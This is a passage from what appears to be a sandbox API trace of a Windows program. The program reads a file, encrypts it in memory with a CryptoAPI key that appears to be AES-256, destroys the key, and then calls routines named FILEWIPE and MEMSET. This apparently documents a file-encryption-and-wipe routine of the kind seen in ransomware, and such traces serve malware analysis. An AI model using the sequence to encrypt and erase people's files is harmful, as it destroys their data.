lpNumberOfBytesRead=0xe8f3dfea20*=0xc6fa, lpOverlapped=0x0) returned 1 [0021.948] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0021.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.951] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0021.951] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.951] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.951] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0021.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.952] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0021.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.952] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0021.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.953] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064c10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.954] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc6fa, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc700) returned 1 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.954] CharLowerBuffW (in: lpsz="byte[50945]", cchLength=0xb | out: lpsz="byte[50945]") returned 0xb [0021.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.955] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e5f00*, pdwDataLen=0xe8f3dfdf68*=0xc6fa, dwBufLen=0xc700 | out: pbData=0xe8f41e5f00*, pdwDataLen=0xe8f3dfdf68*=0xc700) returned 1 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.955] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.955] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.956] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.956] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.956] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.958] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0021.958] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.958] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0021.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.959] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.959] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.959] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.959] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.959] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.960] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0021.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.960] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.960] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.963] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.963] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0021.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.963] CharLowerBuffW (in: lpsz="byte[50938]", cchLength=0xb | out: lpsz="byte[50938]") returned 0xb [0021.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.964] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0021.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.964] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0021.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.965] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 